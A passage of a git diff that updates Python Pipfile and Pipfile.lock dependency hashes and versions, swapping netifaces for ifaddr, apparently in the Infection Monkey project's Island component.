"sha256:3ae1de54a77dc0d6d5fcf623290af4266412a7c4be0b1ff7444394f03f5c54e3", - "sha256:3b590df687e3c5ee0deef9fc8c547d81986d9a1b56073d82de008744452d6541", - "sha256:3e45867f1f2ab0711d60c6c71746ac53537f1684baa699f4f668d4c6f6ce8e14", - "sha256:3fc1c4a2ffd64890aebdb3f97e1278b0cc72579a08ca4de8cd2c04799a3a22be", - "sha256:4457ea6774b5611f4bed5eaa5df55f70abde42364d498c5134b7ef4c6958e20e", - "sha256:44ba614de5361b3e5278e1241fda3dc1838deed864b50a10d7ce92983797fa76", - "sha256:4a8fcf28c05c1f6d7e177a9a46a1c52798bfe2ad80681d275b10dcf317deaf0b", - "sha256:4b0d02d7102dd0f997580b51edc4cebcf2ab6397a7edf89f1c73b586c614272c", - "sha256:502218f52498a36d6bf5ea77081844017bf7982cdbe521ad85e64cabee1b608b", - "sha256:503e65837c71b875ecdd733877d852adbc465bd82c768a067badd953bf1bc5a3", - "sha256:5995f0164fa7df59db4746112fec3f49c461dd6b31b841873443bdb077c13cfc", - "sha256:59e5686dd847347e55dffcc191a96622f016bc0ad89105e24c14e0d6305acbc6", - "sha256:601f36512f9e28f029d9481bdaf8e89e5148ac5d89cffd3b05cd533eeb423b59", - "sha256:608862a7bf6957f2333fc54ab4399e405baad0163dc9f8d99cb236816db169d4", - "sha256:62595ab75873d50d57323a91dd03e6966eb79c41fa834b7a1661ed043b2d404d", - "sha256:70990b9c51340e4044cfc394a81f614f3f90d41397104d226f21e66de668730d", - "sha256:71140351489970dfe5e60fc621ada3e0f41104a5eddaca47a7acb3c1b851d6d3", - "sha256:72966d1b297c741541ca8cf1223ff262a6febe52481af742036a0b296e35fa5a", - "sha256:74292fc76c905c0ef095fe11e188a32ebd03bc38f3f3e9bcb85e4e6db177b7ea", - "sha256:761e8904c07ad053d285670f36dd94e1b6ab7f16ce62b9805c475b7aa1cffde6", - "sha256:772b87914ff1152b92a197ef4ea40efe27a378606c39446ded52c8f80f79702e", - "sha256:79909e27e8e4fcc9db4addea88aa63f6423ebb171db091fb4373e3312cb6d603", - "sha256:7e189e2e1d3ed2f4aebabd2d5b0f931e883676e51c7624826e0a4e5fe8a0bf24", - "sha256:7eb33a30d75562222b64f569c642ff3dc6689e09adda43a082208397f016c39a", - "sha256:81d6741ab457d14fdedc215516665050f3822d3e56508921cc7239f8c8e66a58", - "sha256:8499ca8f4502af841f68135133d8258f7b32a53a1d594aa98cc52013fff55678", - "sha256:84c3990934bae40ea69a82034912ffe5a62c60bbf6ec5bc9691419641d7d5c9a", - "sha256:87701167f2a5c930b403e9756fab1d31d4d4da52856143b609e30a1ce7160f3c", - "sha256:88600c72ef7587fe1708fd242b385b6ed4b8904976d5da0893e31df8b3480cb6", - "sha256:8ac7b6a045b814cf0c47f3623d21ebd88b3e8cf216a14790b455ea7ff0135d18", - "sha256:8b8af03d2e37866d023ad0ddea594edefc31e827fee64f8de5611a1dbc373174", - "sha256:8c7fe7afa480e3e82eed58e0ca89f751cd14d767638e2550c77a92a9e749c317", - "sha256:8eade758719add78ec36dc13201483f8e9b5d940329285edcd5f70c0a9edbd7f", - "sha256:911d8a40b2bef5b8bbae2e36a0b103f142ac53557ab421dc16ac4aafee6f53dc", - "sha256:93ad6d87ac18e2a90b0fe89df7c65263b9a99a0eb98f0a3d2e079f12a0735837", - "sha256:95dea361dd73757c6f1c0a1480ac499952c16ac83f7f5f4f84f0658a01b8ef41", - "sha256:9ab77acb98eba3fd2a85cd160851816bfce6871d944d885febf012713f06659c", - "sha256:9cb3032517f1627cc012dbc80a8ec976ae76d93ea2b5feaa9d2a5b8882597579", - "sha256:9cf4e8ad252f7c38dd1f676b46514f92dc0ebeb0db5552f5f403509705e24753", - "sha256:9d9153257a3f70d5f69edf2325357251ed20f772b12e593f3b3377b5f78e7ef8", - "sha256:a152f5f33d64a6be73f1d30c9cc82dfc73cec6477ec268e7c6e4c7d23c2d2291", - "sha256:a16418ecf1329f71df119e8a65f3aa68004a3f9383821edcb20f0702934d8087", - "sha256:a60332922359f920193b1d4826953c507a877b523b2395ad7bc716ddd386d866", - "sha256:a8d0fc946c784ff7f7c3742310cc8a57c5c6dc31631269876a88b809dbeff3d3", - "sha256:ab5de034a886f616a5668aa5d098af2b5385ed70142090e2a31bcbd0af0fdb3d", - "sha256:c22d3fe05ce11d3671297dc8973267daa0f938b93ec716e12e0f6dee81591dc1", - "sha256:c2ac1b08635a8cd4e0cbeaf6f5e922085908d48eb05d44c5ae9eabab148512ca", - "sha256:c512accbd6ff0270939b9ac214b84fb5ada5f0409c44298361b2f5e13f9aed9e", - "sha256:c75ffc45f25324e68ab238cb4b5c0a38cd1c3d7f1fb1f72b5541de469e2247db", - "sha256:c95a03c79bbe30eec3ec2b7f076074f4281526724c8685a42872974ef4d36b72", - "sha256:cadaeaba78750d58d3cc6ac4d1fd867da6fc73c88156b7a3212a3cd4819d679d", - "sha256:cd6056167405314a4dc3c173943f11249fa0f1b204f8b51ed4bde1a9cd1834dc", - "sha256:db72b07027db150f468fbada4d85b3b2729a3db39178abf5c543b784c1254539", - "sha256:df2c707231459e8a4028eabcd3cfc827befd635b3ef72eada84ab13b52e1574d", - "sha256:e62164b50f84e20601c1ff8eb55620d2ad25fb81b59e3cd776a1902527a788af", - "sha256:e696f0dd336161fca9adbb846875d40752e6eba585843c768935ba5c9960722b", - "sha256:eaa379fcd227ca235d04152ca6704c7cb55564116f8bc52545ff357628e10602", - "sha256:ebea339af930f8ca5d7a699b921106c6e29c617fe9606fa7baa043c1cdae326f", - "sha256:f4c39b0e3eac288fedc2b43055cfc2ca7a60362d0e5e87a637beac5d801ef478", - "sha256:f5057856d21e7586765171eac8b9fc3f7d44ef39425f85dbcccb13b3ebea806c", - "sha256:f6f45710b4459401609ebebdbcfb34515da4fc2aa886f95107f556ac69a9147e", - "sha256:f97e83fa6c25693c7a35de154681fcc257c1c41b38beb0304b9c4d2d9e164479", - "sha256:f9d0c5c045a3ca9bedfc35dca8526798eb91a07aa7a2c0fee134c6c6f321cbd7", - "sha256:ff6f3db31555657f3163b15a6b7c6938d08df7adbfc9dd13d9d19edad678f1e8" - ], - "markers": "python_full_version >= '3.6.0'", - "version": "==3.0.1" + "sha256:04afa6387e2b282cf78ff3dbce20f0cc071c12dc8f685bd40960cc68644cfea6", + "sha256:04eefcee095f58eaabe6dc3cc2262f3bcd776d2c67005880894f447b3f2cb9c1", + "sha256:0be65ccf618c1e7ac9b849c315cc2e8a8751d9cfdaa43027d4f6624bd587ab7e", + "sha256:0c95f12b74681e9ae127728f7e5409cbbef9cd914d5896ef238cc779b8152373", + "sha256:0ca564606d2caafb0abe6d1b5311c2649e8071eb241b2d64e75a0d0065107e62", + "sha256:10c93628d7497c81686e8e5e557aafa78f230cd9e77dd0c40032ef90c18f2230", + "sha256:11d117e6c63e8f495412d37e7dc2e2fff09c34b2d09dbe2bee3c6229577818be", + "sha256:11d3bcb7be35e7b1bba2c23beedac81ee893ac9871d0ba79effc7fc01167db6c", + "sha256:12a2b561af122e3d94cdb97fe6fb2bb2b82cef0cdca131646fdb940a1eda04f0", + "sha256:12d1a39aa6b8c6f6248bb54550efcc1c38ce0d8096a146638fd4738e42284448", + "sha256:1435ae15108b1cb6fffbcea2af3d468683b7afed0169ad718451f8db5d1aff6f", + "sha256:1c60b9c202d00052183c9be85e5eaf18a4ada0a47d188a83c8f5c5b23252f649", + "sha256:1e8fcdd8f672a1c4fc8d0bd3a2b576b152d2a349782d1eb0f6b8e52e9954731d", + "sha256:20064ead0717cf9a73a6d1e779b23d149b53daf971169289ed2ed43a71e8d3b0", + "sha256:21fa558996782fc226b529fdd2ed7866c2c6ec91cee82735c98a197fae39f706", + "sha256:22908891a380d50738e1f978667536f6c6b526a2064156203d418f4856d6e86a", + "sha256:3160a0fd9754aab7d47f95a6b63ab355388d890163eb03b2d2b87ab0a30cfa59", + "sha256:322102cdf1ab682ecc7d9b1c5eed4ec59657a65e1c146a0da342b78f4112db23", + "sha256:34e0a2f9c370eb95597aae63bf85eb5e96826d81e3dcf88b8886012906f509b5", + "sha256:3573d376454d956553c356df45bb824262c397c6e26ce43e8203c4c540ee0acb", + "sha256:3747443b6a904001473370d7810aa19c3a180ccd52a7157aacc264a5ac79265e", + "sha256:38e812a197bf8e71a59fe55b757a84c1f946d0ac114acafaafaf21667a7e169e", + "sha256:3a06f32c9634a8705f4ca9946d667609f52cf130d5548881401f1eb2c39b1e2c", + "sha256:3a5fc78f9e3f501a1614a98f7c54d3969f3ad9bba8ba3d9b438c3bc5d047dd28", + "sha256:3d9098b479e78c85080c98e1e35ff40b4a31d8953102bb0fd7d1b6f8a2111a3d", + "sha256:3dc5b6a8ecfdc5748a7e429782598e4f17ef378e3e272eeb1340ea57c9109f41", + "sha256:4155b51ae05ed47199dc5b2a4e62abccb274cee6b01da5b895099b61b1982974", + "sha256:49919f8400b5e49e961f320c735388ee686a62327e773fa5b3ce6721f7e785ce", + "sha256:53d0a3fa5f8af98a1e261de6a3943ca631c526635eb5817a87a59d9a57ebf48f", + "sha256:5f008525e02908b20e04707a4f704cd286d94718f48bb33edddc7d7b584dddc1", + "sha256:628c985afb2c7d27a4800bfb609e03985aaecb42f955049957814e0491d4006d", + "sha256:65ed923f84a6844de5fd29726b888e58c62820e0769b76565480e1fdc3d062f8", + "sha256:6734e606355834f13445b6adc38b53c0fd45f1a56a9ba06c2058f86893ae8017", + "sha256:6baf0baf0d5d265fa7944feb9f7451cc316bfe30e8df1a61b1bb08577c554f31", + "sha256:6f4f4668e1831850ebcc2fd0b1cd11721947b6dc7c00bf1c6bd3c929ae14f2c7", + "sha256:6f5c2e7bc8a4bf7c426599765b1bd33217ec84023033672c1e9a8b35eaeaaaf8", + "sha256:6f6c7a8a57e9405cad7485f4c9d3172ae486cfef1344b5ddd8e5239582d7355e", + "sha256:7381c66e0561c5757ffe616af869b916c8b4e42b367ab29fedc98481d1e74e14", + "sha256:73dc03a6a7e30b7edc5b01b601e53e7fc924b04e1835e8e407c12c037e81adbd", + "sha256:74db0052d985cf37fa111828d0dd230776ac99c740e1a758ad99094be4f1803d", + "sha256:75f2568b4189dda1c567339b48cba4ac7384accb9c2a7ed655cd86b04055c795", + "sha256:78cacd03e79d009d95635e7d6ff12c21eb89b894c354bd2b2ed0b4763373693b", + "sha256:80d1543d58bd3d6c271b66abf454d437a438dff01c3e62fdbcd68f2a11310d4b", + "sha256:830d2948a5ec37c386d3170c483063798d7879037492540f10a475e3fd6f244b", + "sha256:891cf9b48776b5c61c700b55a598621fdb7b1e301a550365571e9624f270c203", + "sha256:8f25e17ab3039b05f762b0a55ae0b3632b2e073d9c8fc88e89aca31a6198e88f", + "sha256:9a3267620866c9d17b959a84dd0bd2d45719b817245e49371ead79ed4f710d19", + "sha256:a04f86f41a8916fe45ac5024ec477f41f886b3c435da2d4e3d2709b22ab02af1", + "sha256:aaf53a6cebad0eae578f062c7d462155eada9c172bd8c4d250b8c1d8eb7f916a", + "sha256:abc1185d79f47c0a7aaf7e2412a0eb2c03b724581139193d2d82b3ad8cbb00ac", + "sha256:ac0aa6cd53ab9a31d397f8303f92c42f534693528fafbdb997c82bae6e477ad9", + "sha256:ac3775e3311661d4adace3697a52ac0bab17edd166087d493b52d4f4f553f9f0", + "sha256:b06f0d3bf045158d2fb8837c5785fe9ff9b8c93358be64461a1089f5da983137", + "sha256:b116502087ce8a6b7a5f1814568ccbd0e9f6cfd99948aa59b0e241dc57cf739f", + "sha256:b82fab78e0b1329e183a65260581de4375f619167478dddab510c6c6fb04d9b6", + "sha256:bd7163182133c0c7701b25e604cf1611c0d87712e56e88e7ee5d72deab3e76b5", + "sha256:c36bcbc0d5174a80d6cccf43a0ecaca44e81d25be4b7f90f0ed7bcfbb5a00909", + "sha256:c3af8e0f07399d3176b179f2e2634c3ce9c1301379a6b8c9c9aeecd481da494f", + "sha256:c84132a54c750fda57729d1e2599bb598f5fa0344085dbde5003ba429a4798c0", + "sha256:cb7b2ab0188829593b9de646545175547a70d9a6e2b63bf2cd87a0a391599324", + "sha256:cca4def576f47a09a943666b8f829606bcb17e2bc2d5911a46c8f8da45f56755", + "sha256:cf6511efa4801b9b38dc5546d7547d5b5c6ef4b081c60b23e4d941d0eba9cbeb", + "sha256:d16fd5252f883eb074ca55cb622bc0bee49b979ae4e8639fff6ca3ff44f9f854", + "sha256:d2686f91611f9e17f4548dbf050e75b079bbc2a82be565832bc8ea9047b61c8c", + "sha256:d7fc3fca01da18fbabe4625d64bb612b533533ed10045a2ac3dd194bfa656b60", + "sha256:dd5653e67b149503c68c4018bf07e42eeed6b4e956b24c00ccdf93ac79cdff84", + "sha256:de5695a6f1d8340b12a5d6d4484290ee74d61e467c39ff03b39e30df62cf83a0", + "sha256:e0ac8959c929593fee38da1c2b64ee9778733cdf03c482c9ff1d508b6b593b2b", + "sha256:e1b25e3ad6c909f398df8921780d6a3d120d8c09466720226fc621605b6f92b1", + "sha256:e633940f28c1e913615fd624fcdd72fdba807bf53ea6925d6a588e84e1151531", + "sha256:e89df2958e5159b811af9ff0f92614dabf4ff617c03a4c1c6ff53bf1c399e0e1", + "sha256:ea9f9c6034ea2d93d9147818f17c2a0860d41b71c38b9ce4d55f21b6f9165a11", + "sha256:f645caaf0008bacf349875a974220f1f1da349c5dbe7c4ec93048cdc785a3326", + "sha256:f8303414c7b03f794347ad062c0516cee0e15f7a612abd0ce1e25caf6ceb47df", + "sha256:fca62a8301b605b954ad2e9c3666f9d97f63872aa4efcae5492baca2056b74ab" + ], + "markers": "python_full_version >= '3.7.0'", + "version": "==3.1.0" }, "click": { "hashes": [ @@ -307,32 +294,32 @@ }, "cryptography": { "hashes": [ - "sha256:0f8da300b5c8af9f98111ffd512910bc792b4c77392a9523624680f7956a99d4", - "sha256:35f7c7d015d474f4011e859e93e789c87d21f6f4880ebdc29896a60403328f1f", - "sha256:4789d1e3e257965e960232345002262ede4d094d1a19f4d3b52e48d4d8f3b885", - "sha256:5aa67414fcdfa22cf052e640cb5ddc461924a045cacf325cd164e65312d99502", - "sha256:5d2d8b87a490bfcd407ed9d49093793d0f75198a35e6eb1a923ce1ee86c62b41", - "sha256:6687ef6d0a6497e2b58e7c5b852b53f62142cfa7cd1555795758934da363a965", - "sha256:6f8ba7f0328b79f08bdacc3e4e66fb4d7aab0c3584e0bd41328dce5262e26b2e", - "sha256:706843b48f9a3f9b9911979761c91541e3d90db1ca905fd63fee540a217698bc", - "sha256:807ce09d4434881ca3a7594733669bd834f5b2c6d5c7e36f8c00f691887042ad", - "sha256:83e17b26de248c33f3acffb922748151d71827d6021d98c70e6c1a25ddd78505", - "sha256:96f1157a7c08b5b189b16b47bc9db2332269d6680a196341bf30046330d15388", - "sha256:aec5a6c9864be7df2240c382740fcf3b96928c46604eaa7f3091f58b878c0bb6", - "sha256:b0afd054cd42f3d213bf82c629efb1ee5f22eba35bf0eec88ea9ea7304f511a2", - "sha256:c5caeb8188c24888c90b5108a441c106f7faa4c4c075a2bcae438c6e8ca73cef", - "sha256:ced4e447ae29ca194449a3f1ce132ded8fcab06971ef5f618605aacaa612beac", - "sha256:d1f6198ee6d9148405e49887803907fe8962a23e6c6f83ea7d98f1c0de375695", - "sha256:e124352fd3db36a9d4a21c1aa27fd5d051e621845cb87fb851c08f4f75ce8be6", - "sha256:e422abdec8b5fa8462aa016786680720d78bdce7a30c652b7fadf83a4ba35336", - "sha256:ef8b72fa70b348724ff1218267e7f7375b8de4e8194d1636ee60510aae104cd0", - "sha256:f0c64d1bd842ca2633e74a1a28033d139368ad959872533b1bab8c80e8240a0c", - "sha256:f24077a3b5298a5a06a8e0536e3ea9ec60e4c7ac486755e5fb6e6ea9b3500106", - "sha256:fdd188c8a6ef8769f148f88f859884507b954cc64db6b52f66ef199bb9ad660a", - "sha256:fe913f20024eb2cb2f323e42a64bdf2911bb9738a15dba7d3cce48151034e3a8" + "sha256:103e8f7155f3ce2ffa0049fe60169878d47a4364b277906386f8de21c9234aa1", + "sha256:23df8ca3f24699167daf3e23e51f7ba7334d504af63a94af468f468b975b7dd7", + "sha256:2725672bb53bb92dc7b4150d233cd4b8c59615cd8288d495eaa86db00d4e5c06", + "sha256:30b1d1bfd00f6fc80d11300a29f1d8ab2b8d9febb6ed4a38a76880ec564fae84", + "sha256:35d658536b0a4117c885728d1a7032bdc9a5974722ae298d6c533755a6ee3915", + "sha256:50cadb9b2f961757e712a9737ef33d89b8190c3ea34d0fb6675e00edbe35d074", + "sha256:5f8c682e736513db7d04349b4f6693690170f95aac449c56f97415c6980edef5", + "sha256:6236a9610c912b129610eb1a274bdc1350b5df834d124fa84729ebeaf7da42c3", + "sha256:788b3921d763ee35dfdb04248d0e3de11e3ca8eb22e2e48fef880c42e1f3c8f9", + "sha256:8bc0008ef798231fac03fe7d26e82d601d15bd16f3afaad1c6113771566570f3", + "sha256:8f35c17bd4faed2bc7797d2a66cbb4f986242ce2e30340ab832e5d99ae60e011", + "sha256:b49a88ff802e1993b7f749b1eeb31134f03c8d5c956e3c125c75558955cda536", + "sha256:bc0521cce2c1d541634b19f3ac661d7a64f9555135e9d8af3980965be717fd4a", + "sha256:bc5b871e977c8ee5a1bbc42fa8d19bcc08baf0c51cbf1586b0e87a2694dde42f", + "sha256:c43ac224aabcbf83a947eeb8b17eaf1547bce3767ee2d70093b461f31729a480", + "sha256:d15809e0dbdad486f4ad0979753518f47980020b7a34e9fc56e8be4f60702fac", + "sha256:d7d84a512a59f4412ca8549b01f94be4161c94efc598bf09d027d67826beddc0", + "sha256:e029b844c21116564b8b61216befabca4b500e6816fa9f0ba49527653cae2108", + "sha256:e8a0772016feeb106efd28d4a328e77dc2edae84dfbac06061319fdb669ff828", + "sha256:e944fe07b6f229f4c1a06a7ef906a19652bdd9fd54c761b0ff87e83ae7a30354", + "sha256:eb40fe69cfc6f5cdab9a5ebd022131ba21453cf7b8a7fd3631f45bbf52bed612", + "sha256:fa507318e427169ade4e9eccef39e9011cdc19534f55ca2f36ec3f388c1f70f3", + "sha256:ffd394c7896ed7821a6d13b24657c6a34b6e2650bd84ae063cf11ccffa4f1a97" ], "index": "pypi", - "version": "==39.0.1" + "version": "==39.0.2" }, "dnspython": { "hashes": [ @@ -380,6 +367,14 @@ "markers": "python_version >= '3.5'", "version": "==3.4" }, + "ifaddr": { + "hashes": [ + "sha256:085e0305cfe6f16ab12d72e2024030f5d52674afad6911bb1eee207177b8a748", + "sha256:cc0cbfcaabf765d44595825fb96a99bb12c79716b73b44330ea38ee2b0c4aed4" + ], + "index": "pypi", + "version": "==0.2.0" + }, "impacket": { "hashes": [ "sha256:b8eb020a2cbb47146669cfe31c64bb2e7d6499d049c493d6418b9716f5c74583" @@ -532,42 +527,6 @@ "markers": "python_version >= '3.7'", "version": "==0.4.7" }, - "netifaces": { - "hashes": [ - "sha256:043a79146eb2907edf439899f262b3dfe41717d34124298ed281139a8b93ca32", - "sha256:08e3f102a59f9eaef70948340aeb6c89bd09734e0dca0f3b82720305729f63ea", - "sha256:0f6133ac02521270d9f7c490f0c8c60638ff4aec8338efeff10a1b51506abe85", - "sha256:18917fbbdcb2d4f897153c5ddbb56b31fa6dd7c3fa9608b7e3c3a663df8206b5", - "sha256:2479bb4bb50968089a7c045f24d120f37026d7e802ec134c4490eae994c729b5", - "sha256:2650beee182fed66617e18474b943e72e52f10a24dc8cac1db36c41ee9c041b7", - "sha256:28f4bf3a1361ab3ed93c5ef360c8b7d4a4ae060176a3529e72e5e4ffc4afd8b0", - "sha256:3ecb3f37c31d5d51d2a4d935cfa81c9bc956687c6f5237021b36d6fdc2815b2c", - "sha256:469fc61034f3daf095e02f9f1bbac07927b826c76b745207287bc594884cfd05", - "sha256:48324183af7f1bc44f5f197f3dad54a809ad1ef0c78baee2c88f16a5de02c4c9", - "sha256:50721858c935a76b83dd0dd1ab472cad0a3ef540a1408057624604002fcfb45b", - "sha256:54ff6624eb95b8a07e79aa8817288659af174e954cca24cdb0daeeddfc03c4ff", - "sha256:5be83986100ed1fdfa78f11ccff9e4757297735ac17391b95e17e74335c2047d", - "sha256:5f9ca13babe4d845e400921973f6165a4c2f9f3379c7abfc7478160e25d196a4", - "sha256:73ff21559675150d31deea8f1f8d7e9a9a7e4688732a94d71327082f517fc6b4", - "sha256:7dbb71ea26d304e78ccccf6faccef71bb27ea35e259fb883cfd7fd7b4f17ecb1", - "sha256:815eafdf8b8f2e61370afc6add6194bd5a7252ae44c667e96c4c1ecf418811e4", - "sha256:841aa21110a20dc1621e3dd9f922c64ca64dd1eb213c47267a2c324d823f6c8f", - "sha256:84e4d2e6973eccc52778735befc01638498781ce0e39aa2044ccfd2385c03246", - "sha256:8f7da24eab0d4184715d96208b38d373fd15c37b0dafb74756c638bd619ba150", - "sha256:96c0fe9696398253f93482c84814f0e7290eee0bfec11563bd07d80d701280c3", - "sha256:aab1dbfdc55086c789f0eb37affccf47b895b98d490738b81f3b2360100426be", - "sha256:c03fb2d4ef4e393f2e6ffc6376410a22a3544f164b336b3a355226653e5efd89", - "sha256:c37a1ca83825bc6f54dddf5277e9c65dec2f1b4d0ba44b8fd42bc30c91aa6ea1", - "sha256:c92ff9ac7c2282009fe0dcb67ee3cd17978cffbe0c8f4b471c00fe4325c9b4d4", - "sha256:c9a3a47cd3aaeb71e93e681d9816c56406ed755b9442e981b07e3618fb71d2ac", - "sha256:cb925e1ca024d6f9b4f9b01d83215fd00fe69d095d0255ff3f64bffda74025c8", - "sha256:d07b01c51b0b6ceb0f09fc48ec58debd99d2c8430b09e56651addeaf5de48048", - "sha256:e76c7f351e0444721e85f975ae92718e21c1f361bda946d60a214061de1f00a1", - "sha256:eb4813b77d5df99903af4757ce980a98c4d702bbcb81f32a0b305a1537bdf0b1" - ], - "index": "pypi", - "version": "==0.11.0" - }, "odict": { "hashes": [ "sha256:40ccbe7dbabb352bf857bffcce9b4079785c6d3a59ca591e8ab456678173c106" @@ -1025,11 +984,11 @@ }, "setuptools": { "hashes": [ - "sha256:e5fd0a713141a4a105412233c63dc4e17ba0090c8e8334594ac790ec97792330", - "sha256:f106dee1b506dee5102cc3f3e9e68137bbad6d47b616be7991714b0c62204251" + "sha256:15136a251127da2d2e77ac7a1bc231eb504654f7e3346d93613a13f2e2787535", + "sha256:1c39d42bda4cb89f7fdcad52b6762e3c309ec8f8715b27c684176b7d71283242" ], "markers": "python_version >= '3.7'", - "version": "==67.4.0" + "version": "==67.5.1" }, "six": { "hashes": [ @@ -1041,11 +1000,11 @@ }, "tqdm": { "hashes": [ - "sha256:5f4f682a004951c1b450bc753c710e9280c5746ce6ffedee253ddbcbf54cf1e4", - "sha256:6fee160d6ffcd1b1c68c65f14c829c22832bc401726335ce92c52d395944a6a1" + "sha256:1871fb68a86b8fb3b59ca4cdd3dcccbc7e6d613eeed31f4c332531977b89beb5", + "sha256:c4f53a17fe37e132815abceec022631be8ffe1b9381c2e6e30aa70edc99e9671" ], - "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", - "version": "==4.64.1" + "markers": "python_version >= '3.7'", + "version": "==4.65.0" }, "twisted": { "extras": [ @@ -1194,35 +1153,35 @@ }, "mypy": { "hashes": [ - "sha256:0af4f0e20706aadf4e6f8f8dc5ab739089146b83fd53cb4a7e0e850ef3de0bb6", - "sha256:15b5a824b58c7c822c51bc66308e759243c32631896743f030daf449fe3677f3", - "sha256:17455cda53eeee0a4adb6371a21dd3dbf465897de82843751cf822605d152c8c", - "sha256:2013226d17f20468f34feddd6aae4635a55f79626549099354ce641bc7d40262", - "sha256:24189f23dc66f83b839bd1cce2dfc356020dfc9a8bae03978477b15be61b062e", - "sha256:27a0f74a298769d9fdc8498fcb4f2beb86f0564bcdb1a37b58cbbe78e55cf8c0", - "sha256:28cea5a6392bb43d266782983b5a4216c25544cd7d80be681a155ddcdafd152d", - "sha256:448de661536d270ce04f2d7dddaa49b2fdba6e3bd8a83212164d4174ff43aa65", - "sha256:48525aec92b47baed9b3380371ab8ab6e63a5aab317347dfe9e55e02aaad22e8", - "sha256:5bc8d6bd3b274dd3846597855d96d38d947aedba18776aa998a8d46fabdaed76", - "sha256:5deb252fd42a77add936b463033a59b8e48eb2eaec2976d76b6878d031933fe4", - "sha256:5f546ac34093c6ce33f6278f7c88f0f147a4849386d3bf3ae193702f4fe31407", - "sha256:5fdd63e4f50e3538617887e9aee91855368d9fc1dea30da743837b0df7373bc4", - "sha256:65b122a993d9c81ea0bfde7689b3365318a88bde952e4dfa1b3a8b4ac05d168b", - "sha256:71a808334d3f41ef011faa5a5cd8153606df5fc0b56de5b2e89566c8093a0c9a", - "sha256:920169f0184215eef19294fa86ea49ffd4635dedfdea2b57e45cb4ee85d5ccaf", - "sha256:93a85495fb13dc484251b4c1fd7a5ac370cd0d812bbfc3b39c1bafefe95275d5", - "sha256:a2948c40a7dd46c1c33765718936669dc1f628f134013b02ff5ac6c7ef6942bf", - "sha256:c6c2ccb7af7154673c591189c3687b013122c5a891bb5651eca3db8e6c6c55bd", - "sha256:c96b8a0c019fe29040d520d9257d8c8f122a7343a8307bf8d6d4a43f5c5bfcc8", - "sha256:d42a98e76070a365a1d1c220fcac8aa4ada12ae0db679cb4d910fabefc88b994", - "sha256:dbeb24514c4acbc78d205f85dd0e800f34062efcc1f4a4857c57e4b4b8712bff", - "sha256:e60d0b09f62ae97a94605c3f73fd952395286cf3e3b9e7b97f60b01ddfbbda88", - "sha256:e64f48c6176e243ad015e995de05af7f22bbe370dbb5b32bd6988438ec873919", - "sha256:e831662208055b006eef68392a768ff83596035ffd6d846786578ba1714ba8f6", - "sha256:eda5c8b9949ed411ff752b9a01adda31afe7eae1e53e946dbdf9db23865e66c4" + "sha256:0a28a76785bf57655a8ea5eb0540a15b0e781c807b5aa798bd463779988fa1d5", + "sha256:19ba15f9627a5723e522d007fe708007bae52b93faab00f95d72f03e1afa9598", + "sha256:21b437be1c02712a605591e1ed1d858aba681757a1e55fe678a15c2244cd68a5", + "sha256:26cdd6a22b9b40b2fd71881a8a4f34b4d7914c679f154f43385ca878a8297389", + "sha256:2888ce4fe5aae5a673386fa232473014056967f3904f5abfcf6367b5af1f612a", + "sha256:2b0c373d071593deefbcdd87ec8db91ea13bd8f1328d44947e88beae21e8d5e9", + "sha256:315ac73cc1cce4771c27d426b7ea558fb4e2836f89cb0296cbe056894e3a1f78", + "sha256:39c7119335be05630611ee798cc982623b9e8f0cff04a0b48dfc26100e0b97af", + "sha256:4b398d8b1f4fba0e3c6463e02f8ad3346f71956b92287af22c9b12c3ec965a9f", + "sha256:4e4e8b362cdf99ba00c2b218036002bdcdf1e0de085cdb296a49df03fb31dfc4", + "sha256:59bbd71e5c58eed2e992ce6523180e03c221dcd92b52f0e792f291d67b15a71c", + "sha256:5b5f81b40d94c785f288948c16e1f2da37203c6006546c5d947aab6f90aefef2", + "sha256:5cb14ff9919b7df3538590fc4d4c49a0f84392237cbf5f7a816b4161c061829e", + "sha256:61bf08362e93b6b12fad3eab68c4ea903a077b87c90ac06c11e3d7a09b56b9c1", + "sha256:64cc3afb3e9e71a79d06e3ed24bb508a6d66f782aff7e56f628bf35ba2e0ba51", + "sha256:69b35d1dcb5707382810765ed34da9db47e7f95b3528334a3c999b0c90fe523f", + "sha256:9401e33814cec6aec8c03a9548e9385e0e228fc1b8b0a37b9ea21038e64cdd8a", + "sha256:a380c041db500e1410bb5b16b3c1c35e61e773a5c3517926b81dfdab7582be54", + "sha256:ae9ceae0f5b9059f33dbc62dea087e942c0ccab4b7a003719cb70f9b8abfa32f", + "sha256:b7c7b708fe9a871a96626d61912e3f4ddd365bf7f39128362bc50cbd74a634d5", + "sha256:c1c10fa12df1232c936830839e2e935d090fc9ee315744ac33b8a32216b93707", + "sha256:ce61663faf7a8e5ec6f456857bfbcec2901fbdb3ad958b778403f63b9e606a1b", + "sha256:d64c28e03ce40d5303450f547e07418c64c241669ab20610f273c9e6290b4b0b", + "sha256:d809f88734f44a0d44959d795b1e6f64b2bbe0ea4d9cc4776aa588bb4229fc1c", + "sha256:dbb19c9f662e41e474e0cff502b7064a7edc6764f5262b6cd91d698163196799", + "sha256:ef6a01e563ec6a4940784c574d33f6ac1943864634517984471642908b30b6f7" ], "index": "pypi", - "version": "==1.0.1" + "version": "==1.1.1" }, "mypy-extensions": { "hashes": [ From 86e7bee27bd5e39f3363094366da2ad2be8453f5 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 7 Mar 2023 11:14:10 -0500 Subject: [PATCH 0352/1338] Island: replace netifaces with ifaddr in Pipfile --- monkey/monkey_island/Pipfile | 2 +- monkey/monkey_island/Pipfile.lock | 653 ++++++++++++++---------------- 2 files changed, 297 insertions(+), 358 deletions(-) diff --git a/monkey/monkey_island/Pipfile b/monkey/monkey_island/Pipfile index 17b7226b958..9a1a0fc9ecc 100644 --- a/monkey/monkey_island/Pipfile +++ b/monkey/monkey_island/Pipfile @@ -10,9 +10,9 @@ boto3 = "1.26.13" botocore = "1.29.13" dpath = ">=2.0.5" gevent = ">=20.9.0" +ifaddr = "*" ipaddress = ">=1.0.23" jsonschema = "==3.2.0" -netifaces = ">=0.10.9" requests = ">=2.24" ring = ">=0.7.3" Flask-JWT-Extended = "==4.*" diff --git a/monkey/monkey_island/Pipfile.lock b/monkey/monkey_island/Pipfile.lock index b0d9e8141c1..7997cb9ea53 100644 --- a/monkey/monkey_island/Pipfile.lock +++ b/monkey/monkey_island/Pipfile.lock @@ -1,7 +1,7 @@ { "_meta": { "hash": { - "sha256": "fa0fe458e56fb905ce9354ff3b21d9866f53ffbf6fdd32761413dc47186bc5d0" + "sha256": 